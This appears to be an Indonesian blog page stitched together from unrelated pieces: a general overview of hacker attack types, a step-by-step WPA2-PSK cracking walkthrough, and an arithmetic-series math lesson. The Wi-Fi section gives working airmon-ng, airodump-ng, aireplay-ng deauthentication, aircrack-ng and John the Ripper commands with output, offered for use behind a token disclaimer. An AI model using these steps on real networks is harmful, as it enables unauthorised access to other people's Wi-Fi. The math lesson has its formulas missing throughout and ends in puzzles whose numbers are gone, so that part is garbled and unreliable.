Jenis-Jenis Serangan Hacker

Berikut ini ada beberapa teknik yang sering digunakan para hacker. Mulai dari teknik hacking tingkat menengah hingga tingkat tinggi yang hanya beberapa orang saja yang dapat melakukannya. Seorang hacker sejatinya saat melakukan hacking maka akan sukar untuk dideteksi, dan butuh waktu berbulan-bulan untuk menangkapnya. 

Hal ini dikarenakan kemampuan mereka melakukan konfigurasi jaringan secara global. Silakan simak artikel dibawah ini.

Eksploit:
Para hacker memanfaatkan celah keamanan pada server target atau kesalahan konfigurasi pada sistem/jaringan.

Serangan Denial-of-service (DoS) :
Menghancurkan sistem dan membuatnya tidak dapat diakses user lain. Para hacker berusaha membuat crash suatu service atau mesin, membuat jaringan atau hardware sumber menjadi overload, sebagaimana overload pada link, CPU atau mengisi penuh disik.
Beberapa eksploit yang umum digunakan

CGI script:
CGI script merupakan program sisi server yang menjadikan Web site dinamis. Salah satu bentuknya berupa formmail.cgi yang memungkinkan user mengirimkan email ke admin website tanpa menggunakan suatu e-mail client. Serangan lain yang menggunakan CGI script termasuk Cross Site Scripting, SQL Command Injection dan Path Traversal.

Serangan terhadap Web Server:
Banyak sekali webserver yang memiliki celah keamanan. Dua diantaranya Apache pada UNIX dan IIS pada Windows NT yang memiliki pembagian root atau sistem yang rentan. Suatu IIS yang belum dipatch sangat rentan terhadap serangan Traversal direktori UNICODE yang memungkinkan para hacker mampu mengeksekusi file seperi Cmd.exe untuk memperoleh suatu remote shell. Bug umum lainnya berupa Buffer overflow pada request field atau field HTTP lainnya.

Serangan terhadap Web browser
Banyak web browser saat ini memiliki sejumlah celah keamanan. Software yang rentan terhadap format string dan serangan buffer overflow juga ditemukan pada http client (seperti Internet Explorer dan Netscape). Active Content seperti JavaScript, Java, ActiveX dan HTML itu sendiri dapat menjadi resiko keamanan yang serius.

a. HTTP headers
Dapat digunakan untuk mengeksploitasi bug karena beberapa field melewati fungsi-fungsi yang mengharapkan hanya informasi yang pasti. Suatu eksploit yang terkenal untuk IE terdiri dari Encapsulating HTTP header dengan suatu file MEL dan menjalankan file exe yang ditanamkan pada file EML.

b. HTML
Seringkali dapat dieksploitasi melalui Buffer Overflow. Internet Explorer 6 dibuat lebih baik dari versi sebelumnya (juga Netscape) yang tergolong rentan terhadap jenis serangan yang menggunakan tag HTML yang berbeda dengan string panjang sebagai atribut.

c. JavaScript
dikenal sebagai penyebab utama celah keamanan pada web browser. Demikian pula dengan VBScript dan berbagai bahasa script yang lainnya. Fungsi-fungsi ini secara umum dijalankan dalam suatu lingkungan sandbox, yang dari waktu ke waktu para hacker menemukan celah baru untuk menghindari lingkungan sandbox dan mengeksekusi kode, membaca file-file yang sensitif dsb.

c. Frames and iframes
Banyak sekali digunakan sebagai Eksploit Active Scripting (JavaScript, ActiveX, VBScript). Bagaimanapun mereka terkadang digunakan juga sebagai bagian dari social engineering dengan situs-situs asli tapi palsu.

d. Java
dibangun dengan model keamanan yang kuat menggunakan teknologi sandbox. Tapi bagian ketiga telah diimplementasi versinya sendiri yang dapat mengenal bug dan pelanggaran. Secara normal applet java tidak memiliki akses lokal, namun terkadang dapat didayagunakan jika memiliki akses lokal. Pengimplementasian mode 'trust' menjadikannya lebih mudah di hack.

e. ActiveX
bahkan lebih berbahaya dibandingkan java yang jarang bekerja dari model 'trust' dan menjalankan kode aslinya. Model 'trust' terdiri dari salah satunya yang memungkinkan aplikasi ActiveX untuk menjalankan mesin client, atau tidak. Tidak seperti Java, model Active X tidak memiliki cara membatasi aplikasi, hanya beberapa fungsi. Sebagai tindak pencegahan komponen ActiveX secara umum harus ditandai secara digital. Tanda tersebut menyakinkan customer bahwa pembuat komponen ActiveX adalah sah namun tidak berarti bahwa komponen ActiveX aman untuk diinstall.

Access Auditing
Sistem operasi biasanya mendukung log dari login yang gagal, akses file yang gagal, dan yang berhubungan dengan tugas-tugas administratif terutama oleh user account non-administratif.

POP3 and IMAP
Server POP3 dan IMAP dikenal berisikan eksploit yang memungkinkan seorang hacker melancarkan serangan dengan tujuan menebak password dari suatu email address tertentu.

IP spoofing
Sejumlah serangan yang menggunakan perubahan sumber IP Address. Protokol TCP/IP tidak memiliki cara untuk memeriksa apakah sumber IP address dalam packet header benar-benar milik mesin yang mengirimkannya. Kemampuan ini sering dimanfaatkan oleh para hacker untuk melancarkan serangan seperti:

a. SMURF Attack
Suatu Broadcast ping yang terkirim dan sumber IP dari ping terlihat sama dengan IP address korban. Dalam kasus ini sejmlah besar komputer akan merespon balik dan mengirim suatu Ping reply ke korban. Kejadiannya terus berulang-kali, hingga mesin korban atau link mengalami overload dan dalam kondisi Denial of Service.

b. Prediksi jumlah rangkaian TCP
Suatu koneksi TCP yang ditandai dengan suatu jumlah rangkaian client dan server. Jika jumlah rangkaian tersebut dapat ditebak, para hacker dapat membuat packet dengan memalsukan IP address dan menebak urutan jumlah untuk melakukan hijack koneksi TCP.

c. Prediksi rangkaian melalui pemalsuan DNS
Server DNS biasanya mengquery server DNS lain untuk mengetahui nama host yang lain. Seorang hacker akan mengirimkan suatu request ke server DNS target seolah-olah seperti respon ke server yang sama. Dengan cara ini para hacker dapat membuat client yang mengakses, misalnya situs www.hotmail.com ke server milik sang hacker.

Buffer Overflows
Beberapa serangan umum Buffer overflow, diantaranya:

a. Buffer overruns pada kebanyakan Web server
Webserver Apache dan IIS memiliki celah keamanan. Worm seperti Code Red (untuk IIS) dan Linux. Slapper (untuk Apache) menjadikan celah keamanan yang lebar.

b. DNS overflow
Beberapa server DNS (BIND) sebelumnya tergolong rentan terhadap overflow. Suatu serangan yang akan memberikan nama DNS sangat panjang. Nama DNS dibatasi hingga 64-byte per subkomponen dan 256 byte secara keseluruhan.

c. Serangan DNS
Server DNS biasanya dijalankan pada mode 'Trust' oleh service dan user - maksudnya bahwa server DNS dapat dikompromikan agar melancarkan serangan lebih jauh pada user dan service lainnya. Hal ini menjadikan server DNS merupakan target utama serangan para hacker.

d. Mengelabui cache DNS
Serangan yang umum terhadap server DNS. Sederhananya, bekerja dengan mengirimkan suatu pertanyaan untuk meminta domain yang sesungguhnya ("siapakah www.test.com ini?) dan akan disediakan jawaban yang tentu saja salah ("www.test.com adalah 127.0.01").

Demikian saja saya sampaikan, semoga hal ini berguna untuk menambah pengetahuan para newbie pada umumnya dan para hacker yang ingin memperluas perspektifnya. Jika terdapat kesalahan pada artikel ini silakan beri komentar anda.

Cracking WPA2 PSK dengan Backtrack , aircrack-ng dan John The Ripper

Langkah dasar:* Interface dalam mode monitor
* Cari jaringan nirkabel/WIFI (yang dilindungi dengan WPA2 dan Shared Key Pra)
* Menangkap semua paket
* Tunggu sampai Anda melihat seorang klien dan deauthenticate klien, sehingga handshake dapat ditangkap
* Crack password menggunakan dictionary file (atau melalui John The Ripper)
Saya disini menggunakan interface jaringan Dlink DWL-G122 (USB) nirkabel dalam prosedur ini. Dalam backtrack4, perangkat ini tardeteksi  sebagai wlan0.
Pertama,  card interface dalam mode monitor:
root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0)
wlan0           Ralink 2573 USB rt73usb - [phy0]

root@bt:~# airmon-ng start wlan0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0)
wlan0           Ralink 2573 USB rt73usb - [phy0]
                                (monitor mode enabled on mon0)

Ok, kita sekarang dapat menggunakan interface mon0
setelah itu Mari kita cari jaringan nirkabel/wifi yang menggunakan WPA2 / PSK:

root@bt:~# airodump-ng mon0

 CH  6 ][ Elapsed: 4 s ][ 2009-02-21 12:57                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    

 00:19:5B:52:AD:F7  -33        5        0    0  10  54   WPA2 CCMP   PSK  TestNet                                                  

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                            

 00:19:5B:52:AD:F7  00:1C:BF:90:5B:A3  -29   0- 1     12        4  TestNet

stop airodump-ng dan jalankan lagi, lalu salin semua paket ke disk:

airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2

Pada point  ini, Anda memiliki 2 pilihan: menunggu sampai klien terhubung dan terkoneksi, atau “deauthenticate” klien yang ada dan dengan demikian memaksanya untuk reassociate. Waktu adalah uang, jadi mari kita sedikit memaksa dengan pilihan “ deauthenticate”. Kita membutuhkan BSSID dari AP (-a) dan mac dari client yang terhubung (-c)

root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0
13:04:19  Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
13:04:20  Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]

airodump-ng akan menunjukkan "WPA Handshake" di sudut kanan atas

CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                

 00:19:5B:52:AD:F7  -33 100     1338       99    0  10  54   WPA2 CCMP   PSK  TestNet                                              

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

 00:19:5B:52:AD:F7  00:1C:BF:90:5B:A3  -27  54-54      0      230

Stop airodump-ng dan pastikan file yang dibuat dengan benar

root@bt:/# ls /tmp/wpa2* -al
-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap
-rw-r--r-- 1 root root   476 2009-02-21 13:04 /tmp/wpa2-01.csv
-rw-r--r-- 1 root root   590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv

Crackingpassword  WPA2PSKdidasarkan padabruteforcing, dan dapatmemakan waktu yang sangatsangat lama. Ada2carabruteforcing: salah satu yangrelatif cepatnamun tidak menjaminkesuksesan dansalah satu yangsangat lambat, namunmenjamin bahwa Andaakan menemukan password  di beberapatitik .

Opsi pertamaadalah denganmenggunakan fileworklist/drstionary. Banyakfile-file inidapat ditemukandi internet(misalnya www.theargon.comatau dipacketstorm ), atau dapatdihasilkandengan alat sepertiJohn TheRipper. Setelahwordlistdibuat, semua yang perlu Andalakukan adalah menjalankanaircrack-ngdenganworklistdanfeed. Topi yangberisiHandshakeWPA2.

Jadi jikawordlistAnda disebutword.lst(under /tmp/wordlists)Anda dapat menjalankan :

aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap

Kemungkinan anda sudah  mendapatkan password WPA2 PSK  dengan sangat cepat ,namun pada metode Metode kedua (bruteforcing) akan pasti berhasil 99 % namum perlu waktu lama untuk menyelesaikannya, Perlu anda diingat, kunci WPA2 bisa sampai 64 karakter, sehingga dalam teori Anda akan membangun setiap kombinasi password dengan semua set karakter, perintah untuk menggunakan nya :

root@bt:~# /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b 00:19:5B:52:AD:F7 -w - /tmp/wpa2*.cap

 Warning !!! Saya tidak bertanggung jawab atas penyalahgunaan dsb ….

Pada titik ini, Anda memiliki 2 pilihan: baik menunggu sampai klien terhubung dan jabat tangan 4-arah selesai, atau deauthenticate klien yang ada dan dengan demikian memaksanya untuk reassociate. Waktu adalah uang, jadi mari kita memaksa deauthenticate. Kita membutuhkan BSSID dari AP (-a) dan mac dari client yang terhubung (-c)

Bilangan Aritmatika

Deret

Deret : Sederhana saja, deret adalah daftar/barisan bilangan.
Definisi : Setiap bilangan pada deret disebut sebagai suku/elemen/term. Dilambangkan dengan .

Deret Aritmatika

Definisi : Deret/barisan bilangan aritmatika adalah sekumpulan bilangan yang disusun sedemikian rupa sehingga jarak/selisih/difference antara setiap suku dengan suku berikutnya selalu tetap (konstan).
Definisi: Setiap bilangan pada deret disebut sebagai suku/element/term
Selanjutnya, jika setiap suku pada deret diberi index, maka deret dapat dituliskan sebagai berikut :
.
Contoh-contoh deret aritmatika :

• . Deret aritmatika terhingga (finite), yaitu jumlahnya terbatas. Selisih tiap suku dengan suku berikutnya adalah 2.

• . Deret aritmatika terhingga. Selisih tiap suku dengan suku berikutnya adalah 1.

• . Deret aritmatika tak terhingga (infinite), yaitu jumlahnya tidak terbatas. Selisih tiap suku dengan suku berikutnya adalah 1.

• . Deret aritmatika terhingga. Selisih tiap suku dengan suku berikutnya adalah -1.

• . Deret aritmatika tak terhingga. Suku pertamanya adalah 4 dan selisih tiap suku dengan suku berikutnya adalah -3.

• . Deret aritmatika tak terhingga. Suku pertamanya adalah 0 dan selisih tiap suku dengan suku berikutnya adalah 2.5

• . Deret aritmatika tak terhingga. Suku pertamanya adalah dan selisih tiap suku dengan suku berikutnya adalah

• . Deret aritmatika tak terhingga. Suku pertamanya adalah dan selisih tiap suku dengan suku berikutnya adalah .

• . Deret aritmatika terhingga. Suku pertamanya adalah dan selisih tiap suku dengan suku berikutnya adalah .

Perhatikan baik-baik contoh terakhir.
Di dalam matematika, barisan bilangan seringkali dinyatakan dengan dimana , , , … dan . Notasi ini dalam matematika bermakna :
Suku pertama () adalah dan suku ke-n () adalah dimana adalah jarak/selisih antara suatu suku dengan suku berikutnya, yakni jarak antara dengan dimana . Blog mengikuti notasi ini.
Definisi formalnya :

Contoh barisan aritmatika yang lain :

• Deret bilangan cacah : 0, 1, 2, 3, 4, 5 …
  Tak terhingga dengan , dan

• Deret bilangan asli : 1, 2, 3, 4, 5, 6 …
  Tak terhingga dengan , dan .

• Deret bilangan genap : 0, 2, 4, 6, 8, 10,…
  Tak terhingga dengan , dan

• Deret bilangan ganjil : 1, 3, 5, 7, 9, 11, 13, 15, ….
  Tak terhingga dengan , dan

• Deret bilangan kelipatan 2 : 2, 4, 6, 8, 10, 12, 14, 16 … 2n
  Terhingga dengan , dan

• Deret bilangan kelipatan 3 : 3, 6, 9, 12, 15, 18, 21 … 3n
  Terhingga dengan , dan

• Deret bilangan kelipatan 3 : 0, 3, 6, 9, 12, 15, 18, 21 … 3(n-1)
  Terhingga dengan , dan

Sifat-sifat Deret Aritmatik

Perhatikan aljabar di bawah ini :

Kita peroleh sifat pertama dari deret aritmatika, yaitu .
Penjabaran yang lain :

Mengingat

Maka bisa disimpulkan sifat kedua dari deret aritmatika, yaitu
Sifat kedua inilah yang nantinya akan menjadi dasar teori untuk rataan aritmatik (Arithmetic Mean). Sebagai gambaran saja, sifat kedua ini dapat dituliskan menjadi yang dapat diterjemahkan secara statistik : “nilai rata-rata dari dan adalah “.

Jumlah Semua Suku Pada Deret

Alkisah, Carl Friedrich Gauss, salah satu matematikawan terbaik dan yang paling berpengaruh sepanjang masa, menemukan metode untuk menghitung nilai dari ketika beliau masih berusia 10 tahun. Metode yang diperkenalkan oleh Gauss di usia belia itu masih belum tergantikan hingga saat ini. Untuk menghormati jasa beliau, metode ini dinamai metode Gaussian.
Metode Gaussian adalah sebagai berikut :

Lantas, bagaimana caranya menghitung jumlah dari suku-suku pada sebuah deret aritmatik?
Untuk menghitung jumlah dari suku-suku pada sebuah deret aritmatik, kita akan meminjam metode Gaussian ini sebentar :

Dengan demikian kita peroleh rumus untuk menghitung total nilai seluruh suku pada deret aritmatika, yaitu . Dimana :
menyimbolkan jumlah (sum) dari suku-suku pada deret.
menyimbolkan suku pertama pada deret.
menyimbolkan suku terakhir pada deret.
menyimbolkan banyaknya suku pada deret.
Karena deret aritmatika berbentuk maka kita boleh saja meng-asumsikan bahwa ada suku yang letaknya berada di rentang (well-order principle) sehingga deret aritmatika dapat dituliskan sebagai .
Sekarang jika kita pandang secara parsial (sebagian), yakni deret kita mulai dari suku ke-m, maka kita memperoleh deret baru, yaitu .
Ada berapa banyak suku pada deret ini?
Sebelumnya, deret memiliki suku. Tetapi karena kita hanya mengambil sepotong saja dari deret tersebut, artinya ada sebagian suku yang kita tinggalkan. Banyaknya suku yang kita tinggalkan adalah suku. Dan dengan demikian banyaknya suku yang kita “pakai” adalah suku, yaitu suku.
Berapa jumlah nilai suku-suku pada deret baru ini?
Suku pertama pada deret ini adalah dan suku terakhir adalah . Banyaknya suku ada buah. Sesuai dengan rumus yang tadi kita peroleh, jumlah nilai suku-suku pada deret ini adalah
Rumus ini adalah rumus umum untuk mencari jumlah nilai suku-suku pada deret. Baik secara parsial ataupun secara utuh. Jika ingin menghitung secara utuh, gunakan .

Rataan Aritmatika

Sesuai dengan judulnya, rataan aritmatika (Arithmetic Mean/AM) adalah nilai rata-rata pada barisan aritmatika. Baik secara parsial ataupun secara utuh.
Sebagai contoh :

1. Nilai rata-rata dari deret adalah
2. Nilai rata-rata dari deret adalah
3. Nilai rata-rata dari deret adalah
4. Nilai rata-rata dari deret adalah
5. Nilai rata-rata dari deret adalah
6. Nilai rata-rata dari deret adalah
7. Nilai rata-rata dari deret adalah
8. Nilai rata-rata dari deret adalah

Apakah ada pola yang menarik?
Ada. Ternyata nilai rata-rata pada berbagai deret aritmatik di atas sangat dekat atau bahkan persis dengan nilai tengah (median) dari deret tersebut.
Secara umum, rataan aritmatika dirumuskan sebagai berikut :

Jika kita ambil kasus sederhana yaitu deret dengan tiga buah suku , maka .
Akan tetapi, ilmu barisan bilangan tidak berhenti sampai disitu saja. Perhatikan penjabaran berikut ini :

Hal ini menarik perhatian kita karena secara langsung penjabaran di atas menyatakan bahwa
Ingat bahwa di bagian atas dari artikel ini kita telah membahas sifat kedua dari barisan aritmatika, yaitu . Dengan mengambil dan kita peroleh :

Atau dengan menuliskan ke dalam bentuk lain kita peroleh .
Apa yang sebenarnya terjadi? Mengapa rataan dari tiga buah suku dan dua buah suku menghasilkan hasil yang sama?
Mari kita bahas perlahan-lahan.
Misalkan dan . Maka .
Seperti yang sudah kita ketahui melalui sifat kedua dari barisan aritmatik, dan akan memiliki nilai rata-rata yang sama dengan , yaitu suku yang berada di tengah-tengah mereka. Hal ini berlaku umum untuk setiap suku pada barisan aritmatik.
Bagaimana jika tidak habis dibagi 2?
Jika tidak habis dibagi 2, maka suku ke- adalah suku fiktif. Walaupun demikian, konsepnya tidak berubah. Suku fiktif ini secara logis akan berada di tengah-tengah dari dan .
Dengan demikian, fenomena di atas dapat dijelaskan sebagai berikut :

Terlihat jelas bahwa nilai rata-rata dari , dan adalah lagi.
Mari kita perbesar kasusnya dengan mencari rata-rata dari :

Nilai-rata-rata dari adalah , yaitu suku tengah (median) pada deret.
Mari kita lihat kasus parsial dengan mencari rata-rata dari :

Nilai-rata-rata dari adalah , yaitu suku tengah (median) pada deret.
Secara umum, bisa disimpulkan bahwa deret akan memiliki nilai rata-rata yang sama dengan nilai rata-rata dari , yaitu .
Atau, untuk kasus parsial seperti deret , akan memiliki nilai rata-rata yang sama dengan nilai rata-rata dari , yaitu .
Sifat ini amat sangat membantu kita untuk mencari nilai rata-rata dari sebuah deret aritmatika. Karena tidak perduli berapa banyaknya suku pada deret, kita dapat dengan mudah mencari nilai rata-rata dengan menghitung rata-rata dari dua buah suku saja. Yaitu rata-rata dari suku pertama dan suku terakhir. Atau secara parsial, suku ke-m dan suku ke-n.

Obat Ngantuk

1. Dengan mengambil rentang ,
   1. Ada berapa banyak bilangan kelipatan 2 di rentang tersebut?
   2. Berapa jumlah bilangan kelipatan 2 di rentang tersebut?
   3. Ada berapa banyak bilangan kelipatan 3 di rentang tersebut?
   4. Berapa jumlah bilangan kelipatan 3 di rentang tersebut?
2. Dengan mengambil rentang ,
   1. Ada berapa banyak bilangan kelipatan 2 atau 3 di rentang tersebut?
   2. Berapa jumlah bilangan kelipatan 2 atau 3 di rentang tersebut?
   3. Ada berapa banyak bilangan kelipatan 3 atau 5 di rentang tersebut?
   4. Berapa jumlah bilangan kelipatan 3 atau 5 di rentang tersebut?
3. Konsep
   1. Barisan bilangan fibonacci adalah 1, 1, 2, 3, 5, 8, 13, 21, ….
      Apakah barisan bilangan fibonacci merupakan barisan bilangan aritmatika atau bukan? Jelaskan jawaban anda.
   2. Barisan bilangan prima adalah 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, …
      Apakah barisan bilangan prima adalah barisan bilangan aritmatika atau bukan? Jelaskan jawaban anda.
4. Carilah rumus suku ke-n () pada barisan-barisan bilangan di bawah ini dan jelaskan mengapa mereka bukan barisan bilangan aritmatika. Pembahasan ada di sini.
   1. Barisan pertama : 1, 4, 9, 16, 25, 36, 49, 64, 81, ….
   2. Barisan kedua : 0, 1, 8, 27, 64, 125, 216, 343, 512, 729, 1000, 1331, …
   3. Barisan ketiga : 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ….
   4. Barisan keempat : 1, 4, 10, 20, 35, 56, 84, 120, 165, 220, 286, 364, 455, 560, 680, 816, 969, …
5. Misalkan adalah sebuah barisan bilangan aritmatik.
   Diketahui dan
   Carilah nilai dimana (American High School Mathematics Examination). Pembahasan ada di sini.
6. Hitunglah nilai dari . Pembahasan ada di sini.
7. Untuk , diketahui tiga buah suku pertama pada barisan aritmatik adalah , dan . Berapakah nilai suku ke-4? Pembahasan ada di sini.
8. Diketahui , dan adalah tiga buah suku berurutan pada sebuah barisan aritmatik. Pembahasan ada di sini.
   Buktikan bahwa , dan juga merupakan tiga buah suku berurutan pada sebuah barisan aritmatik (tidak harus barisan yang sama). Pembahasan ada di sini.
9. Ada berapa banyak nilai sedemikian rupa sehingga habis membagi . (American Mathematics Competition grade). Pembahasan ada di sini.
10. Dalam sebuah barisan aritmatika , diketahui . Jika jarak antar suku satu dengan suku yang lain () adalah sebuah bilangan bulat, berapa nilai minimum agar ? (Introduction to Algebra). Pembahasan ada di sini.
11. Hitunglah nilai dari . Pembahasan ada di sini.
12. Dalam sebuah deret aritmatika, diketahui fakta-fakta berikut :
    1. 
    2. 
    3. Berapakah nilai dari ? Pembahasan ada di sini.
13. Diketahui bahwa : (Pembahasan ada di sini)
    1. Setiap serangga tampan membelah diri menjadi seekor serangga buruk rupa dan seekor serangga bodoh.
    2. Setiap serangga buruk rupa membelah diri menjadi dua ekor serangga tampan.
    3. Setiap serangga bodoh membelah diri menjadi seekor serangga buruk rupa dan seekor serangga tampan.
    4. Serangga hanya membelah diri ketika dia mati.
    5. Masa hidup setiap serangga (tidak perduli jenisnya) adalah sama.
    6. Pada awalnya hanya ada seekor serangga tampan (origin of species). Serangga ini disebut sebagai serangga generasi pertama. Berapa jumlah
       1. Total seluruh serangga generasi ke-5?
       2. Serangga (masing-masing jenis) generasi ke-5?
       3. Total seluruh serangga generasi ke-n?
       4. Serangga (masing-masing jenis) generasi ke-n?